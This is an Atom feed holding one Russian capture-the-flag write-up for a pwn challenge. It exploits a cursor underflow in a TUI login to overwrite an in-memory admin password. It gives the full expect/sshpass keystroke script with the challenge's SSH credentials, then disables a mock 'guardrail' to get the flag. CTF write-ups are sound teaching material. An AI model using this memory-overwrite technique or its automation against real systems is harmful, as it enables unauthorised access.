<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>cveattack</title><author><name>cveattack</name></author><id>https://teletype.in/atom/satan0x01</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/satan0x01?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@satan0x01?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=satan0x01"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/satan0x01?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-05-23T19:15:37.327Z</updated><entry><id>satan0x01:CHgXXjSjUzu</id><link rel="alternate" type="text/html" href="https://teletype.in/@satan0x01/CHgXXjSjUzu?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=satan0x01"></link><title>Углеродный след</title><published>2026-04-25T18:26:34.365Z</published><updated>2026-04-25T18:26:34.365Z</updated><summary type="html">Автор: @yanik1ta</summary><content type="html">
  &lt;h1 id=&quot;KvKI&quot;&gt;&lt;strong&gt;CTF&lt;/strong&gt;: АльфаЦТФ2026&lt;/h1&gt;
  &lt;p id=&quot;XlKK&quot;&gt;&lt;strong&gt;Автор&lt;/strong&gt;: &lt;a href=&quot;https://t.me/yanik1ta&quot; target=&quot;_blank&quot;&gt;@yanik1ta&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;Dopi&quot;&gt;&lt;strong&gt;Категория&lt;/strong&gt;: Pwn&lt;br /&gt;&lt;strong&gt;Сложность&lt;/strong&gt;: Medium&lt;/p&gt;
  &lt;h3 id=&quot;Описание-задачи&quot;&gt;Описание задачи&lt;/h3&gt;
  &lt;blockquote id=&quot;jdMS&quot;&gt;Нам дают SSH-доступ к серверу, где запущен бинарник &lt;code&gt;carbon.elf&lt;/code&gt; TUI - приложение, притворяющееся панелью администрирования OpenAI Codex. Зайти внутрь может только Сэм Альтман, но пароль случайный при каждом запуске.&lt;/blockquote&gt;
  &lt;h3 id=&quot;Реверс&quot;&gt;Реверс&lt;/h3&gt;
  &lt;p id=&quot;aQdp&quot;&gt;Смотрим бинарник статически и находим три важные функции.&lt;/p&gt;
  &lt;p id=&quot;0l3v&quot;&gt;&lt;code&gt;login_ok&lt;/code&gt; сравнивает username со строкой &lt;code&gt;sam_altman&lt;/code&gt;, а пароль с буфером &lt;code&gt;admin_password&lt;/code&gt; по адресу &lt;code&gt;0x408380&lt;/code&gt; в BSS.&lt;/p&gt;
  &lt;p id=&quot;VIww&quot;&gt;&lt;code&gt;randomize_admin_password&lt;/code&gt; при запуске читает 15 байт из &lt;code&gt;/dev/urandom&lt;/code&gt; и кодирует их через &lt;code&gt;alphabet[byte % 57]&lt;/code&gt;, где алфавит это Base58: &lt;code&gt;ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23456789&lt;/code&gt;. Пароль каждый раз новый и нам неизвестен.&lt;/p&gt;
  &lt;p id=&quot;ScRE&quot;&gt;&lt;code&gt;flag_unlocked&lt;/code&gt; возвращает флаг при двух условиях одновременно: guardrail с индексом &lt;code&gt;0x58&lt;/code&gt; отключён, и метрика carbon ниже 130.&lt;/p&gt;
  &lt;pre id=&quot;MkKv&quot;&gt;return (guardrails[0x58] == 0) &amp;amp;&amp;amp; (metric_values[2] &amp;lt; 130.0);
&lt;/pre&gt;
  &lt;p id=&quot;Wi0U&quot;&gt;Смотрим &lt;code&gt;field_insert_char&lt;/code&gt; и замечаем уязвимость: функция пишет &lt;code&gt;buffer[cursor]&lt;/code&gt; без проверки нижней границы. Стрелка вправо проверяется (&lt;code&gt;cursor &amp;gt; 30&lt;/code&gt;), а стрелка влево ничем не ограничена снизу. Курсор может уйти в отрицательные значения.&lt;/p&gt;
  &lt;h3 id=&quot;Уязвимость&quot;&gt;Уязвимость&lt;/h3&gt;
  &lt;p id=&quot;Na21&quot;&gt;Смотрим на раскладку BSS:&lt;/p&gt;
  &lt;pre id=&quot;DBnL&quot;&gt;0x408380  admin_password  [15 байт + \0]
          128 байт разрыва
0x408400  username input  [cursor = 0 при старте]
&lt;/pre&gt;
  &lt;p id=&quot;OmQs&quot;&gt;Если нажать стрелку влево 128 раз в поле username, курсор окажется на &lt;code&gt;-128&lt;/code&gt; и будет указывать прямо на &lt;code&gt;admin_password[0]&lt;/code&gt;. Дальше печатаем 15 букв &lt;code&gt;A&lt;/code&gt; и перезаписываем пароль на известное нам значение.&lt;/p&gt;
  &lt;h3 id=&quot;Эксплойт&quot;&gt;Эксплойт&lt;/h3&gt;
  &lt;p id=&quot;MquP&quot;&gt;SSH-сервер запускает &lt;code&gt;carbon.elf&lt;/code&gt; напрямую как шелл и не позволяет передавать команды удалённо. Поэтому автоматизируем ввод нажатий через &lt;code&gt;expect&lt;/code&gt; и &lt;code&gt;sshpass&lt;/code&gt; с локальной машины.&lt;/p&gt;
  &lt;pre id=&quot;CDEc&quot;&gt;expect -c &amp;#x27;
spawn sshpass -p «AAu8KdgMdTIag37UX83WzQ» ssh -tt carbon@carbon-qm6k0jjg.alfactf.ru
expect «locked»
sleep 0.5
set L «\033\[D»
set R «\033\[C»
set seq «»
for {set i 0} {$i &amp;lt; 128} {incr i} { append seq $L }
append seq «AAAAAAAAAAAAAAA»
for {set i 0} {$i &amp;lt; 113} {incr i} { append seq $R }
append seq «sam_altman\tAAAAAAAAAAAAAAA\r»
send $seq
sleep 2
interact&lt;/pre&gt;
  &lt;p id=&quot;kuO7&quot;&gt;ждёт пока TUI отрисует строку «OpenAI console locked» и только потом отправляет нажатия. Без этого байты улетают до инициализации экрана и теряются.&lt;/p&gt;
  &lt;p id=&quot;DRbR&quot;&gt;После отправки последовательности курсор уходит на &lt;code&gt;-128&lt;/code&gt;, перезаписывает &lt;code&gt;admin_password&lt;/code&gt; пятнадцатью &lt;code&gt;A&lt;/code&gt;, возвращается в начало, и мы вводим &lt;code&gt;sam_altman&lt;/code&gt; с паролем &lt;code&gt;AAAAAAAAAAAAAAA&lt;/code&gt;. Логин проходит.&lt;/p&gt;
  &lt;h3 id=&quot;Получение-флага&quot;&gt;Получение флага&lt;/h3&gt;
  &lt;p id=&quot;0SeO&quot;&gt;Оказавшись внутри, переходим в раздел Guardrails (Tab три раза), находим guardrail «Help with CTF» и выключаем его пробелом. Переходим на Dashboard и ждём пару секунд.&lt;/p&gt;
  &lt;p id=&quot;gLOa&quot;&gt;Отключение этого guardrail&amp;#x27;а автоматически роняет метрику carbon ниже 130. Оба условия &lt;code&gt;flag_unlocked&lt;/code&gt; выполнены, флаг появляется на экране.&lt;/p&gt;

</content></entry></feed>